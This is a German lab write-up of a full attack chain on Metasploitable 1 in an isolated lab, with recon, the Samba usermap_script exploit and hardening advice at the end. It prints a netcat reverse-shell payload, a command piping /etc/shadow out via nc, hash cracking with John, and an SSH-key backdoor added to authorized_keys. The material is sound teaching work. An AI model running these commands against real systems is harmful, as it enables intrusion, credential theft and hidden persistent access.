Ausnutzung von Schwachstellen in Metasploitable

Vollständiger Zyklus eines realen Angriffs in einer kontrollierten und isolierten Umgebung: Vorbereitung des Labors, Aufklärung mit nmap, Priorisierung der Angriffsfläche, Zuordnung zu CVEs, Ausnutzung mit Metasploit, Post-Exploitation, Extrahieren und Knacken von Zugangsdaten sowie Persistenz durch Einschleusen eines SSH-Schlüssels.

1. Vorbereitung der Umgebung

• Angreifer: Kali Linux — msfconsole, nmap, John the Ripper.
• Ziel: Metasploitable 1 — Ubuntu 8.04 (2010), ungepatcht, mit mehreren bekannten CVEs.
• Netzwerk: Host-only, beide VMs von jedem realen Netzwerk isoliert (192.168.64.0/24). Ziel-IP: 192.168.64.3.

2. Aufklärung mit Nmap

Versions-Scan, um genau zu identifizieren, was exponiert ist — Schwachstellen betreffen konkrete Versionen, nicht abstrakte Dienste:

nmap -sV 192.168.64.3

12 offene Ports, alle mit veralteten und ausnutzbaren Versionen.

3. Priorisierung der Angriffsfläche

Statt den ersten offenen Port anzugreifen, habe ich die Dienste vor der Zielauswahl nach Risikotyp klassifiziert:

• Remote-Zugriff (22, 23): Telnet legt Zugangsdaten im Klartext offen; OpenSSH 4.7p1 ist eine sehr alte Version.
• Webanwendungs-Schicht (80, 8180): Apache 2.2.8 weit hinter der stabilen Version; Tomcat mit schwachen Zugangsdaten und potenziellem RCE.
• Exponierte Datenbanken (3306): MySQL 5.0.51a, alte Version mit direktem Datenzugriff.
• Freigegebene Dateien / internes Netzwerk (139, 445): Samba, historisch einer der am häufigsten ausgenutzten Dienste, mit bekannten öffentlichen CVEs und Exploits.

Ausgewähltes Ziel: Samba 3.0.20-Debian — vereint eine Version mit dokumentierter kritischer Schwachstelle, in Metasploit verfügbarem Exploit und Codeausführung ohne vorherige Authentifizierung: der größte Impact mit der höchsten Zuverlässigkeit.

4. Zuordnung der Schwachstelle

Bestätigung der exakten Version mit der Nmap-Skript-Engine (NSE):

nmap -p 139,445 --script=smb-os-discovery 192.168.64.3
| smb-os-discovery:
|   OS: Unix (Samba 3.0.20-Debian)

Samba 3.0.20 ist anfällig für CVE-2007-2447: Der Parameter username map script validiert die Eingabe nicht, und ein Angreifer kann Shell-Befehle direkt in das Benutzernamen-Feld injizieren. Da das Mapping vor dem Login erfolgt, sind weder gültiger Benutzer noch gültiges Passwort erforderlich.

5. Ausnutzung mit Metasploit

msfconsole

Suche nach dem entsprechenden Modul:

msf > search type:exploit samba

Konfiguration und Ausführung:

msf > use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.64.3
msf exploit(multi/samba/usermap_script) > exploit
[*] Started reverse TCP handler on 192.168.64.4:4444
[*] Command shell session 1 opened

Sofortige Überprüfung der Rechte — die Schwachstelle gewährt direkten Root-Zugriff, ohne dass eine spätere Privilegieneskalation nötig ist:

whoami   → root
uname -a → Linux metasploitable 2.6.24-16-server (kernel de 2008)

6. Post-Exploitation: wie es tatsächlich ablief

Bei der Inspektion der Prozesse auf dem Zielsystem sieht man den injizierten Payload selbst in Ausführung:

ps aux | grep samba
root  4931  sh -c /etc/samba/scripts/mapusers.sh "/=`nohup mkfifo /tmp/iftpe; nc 192.168.64.4 4444 0</tmp/iftpe | /bin/sh >/tmp/iftpe 2>&1; rm /tmp/iftpe`"

Der gesendete Benutzername enthielt den Befehl selbst (/=`...`): Samba reichte ihn unbereinigt an eine Shell weiter, die mit mkfifo eine Pipe erstellte, mit netcat eine Verbindung zurück zu Kali aufbaute und /bin/sh mit dieser Pipe verband — vollständige Remote-Codeausführung, Zeile für Zeile.

Enumeration interner Dienste mit netstat -tulnp: MySQL lauschte auf 0.0.0.0:3306 — für jede Maschine im Netzwerk exponiert, nicht nur für localhost.

7. Extrahieren und Knacken von Zugangsdaten

Statt auf der Zielmaschine selbst zu knacken (verbraucht CPU, erzeugt Lärm, hinterlässt Spuren), habe ich die Hashes extrahiert und nach Kali übertragen, um sie offline anzugreifen:

cat /etc/shadow
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::

Übertragung per netcat und Vorbereitung für John the Ripper:

# En Kali:
nc -lvnp 4444 > shadow.txt
# En la víctima:
cat /etc/shadow | nc 192.168.64.4 4444

unshadow passwd.txt shadow.txt > hashes.txt
john hashes.txt

John führt drei automatische Phasen aus (Single-Modus mit Informationen des Benutzers selbst, Wörterbuch und inkrementelle Brute-Force). Ergebnis: 6 von 7 Passwörtern geknackt, einschließlich wiederverwendbarer Zugangsdaten für SSH, MySQL und FTP.

8. Laterale Bewegung und Persistenz

Mit den geknackten Zugangsdaten direkter SSH-Zugriff als legitimer Benutzer:

ssh -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Um nicht von einem Passwort abhängig zu sein, das rotieren kann, habe ich ein eigenes Schlüsselpaar generiert und es zu authorized_keys der Zielmaschine hinzugefügt — eine Hintertür, die Passwortwechsel übersteht und keine Brute-Force-Alarme erzeugt:

ssh-keygen -t rsa -b 2048 -f lab_key
cat lab_key.pub >> ~/.ssh/authorized_keys   # ejecutado en la víctima, ya comprometida

Späterer Zugriff ohne Passwort:

ssh -i lab_key -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]

Erkenntnisse

• Zwölf offene Ports, alle mit veralteten Versionen — die Angriffsfläche war nicht ein einzelner Fehler, sondern die Anhäufung jahrelang nicht aktualisierter Dienste.
• Eine ausnutzbare Schwachstelle zur Remote-Codeausführung ohne jede Art von Authentifizierung — das schlimmste mögliche Szenario für einen exponierten Dienst.
• Schwache und zwischen Diensten wiederverwendete Zugangsdaten (SSH, MySQL, FTP) — die Kompromittierung eines einzigen Punkts gewährte Zugriff auf mehrere.
• Völliges Fehlen von Netzwerksegmentierung und grundlegendem Hardening (Datenbanken auf 0.0.0.0 exponiert, Legacy-Protokolle wie Telnet aktiv).

Sicherheitsempfehlungen

Unsichere Protokolle wie Telnet entfernen, kritische Dienste und den Kernel selbst aktualisieren, die direkte Exposition von Datenbanken einschränken, Netzwerksegmentierung anwenden und vor allem — angesichts wie einfach die Passwörter zu knacken waren — robuste und zwischen Diensten nicht wiederverwendete Zugangsdaten-Richtlinien durchsetzen. Dieselbe Art von Erkennung, die diesen Angriff in der Produktion verhindern würde (Überwachung anormaler ausgehender Verbindungen, Alarme zu nc/Reverse Shells), ist das, woran ich defensiv in meinem Home SOC Lab arbeite.

Schlussfolgerungen

Die Priorisierung vor dem Angriff — zu verstehen, welcher Dienst den größten Impact mit der höchsten Zuverlässigkeit bietet, statt zufällig Ports zu testen — führte direkt zu Samba. Die Post-Exploitation-Phase, in der man den injizierten Befehl selbst in ps aux laufen sieht, veranschaulicht am besten, warum eine Input-Validierungs-Schwachstelle zur vollständigen Kontrolle über das System wird. Und die Persistenz per SSH-Schlüssel macht deutlich, dass das Ziel eines Angreifers, einmal drinnen, nicht nur „Zugriff zu haben“ ist, sondern ihn auf leise und dauerhafte Weise zu haben — umso mehr Grund, dass die Verteidigung in der Tiefe nicht von einer einzigen Barriere abhängen darf.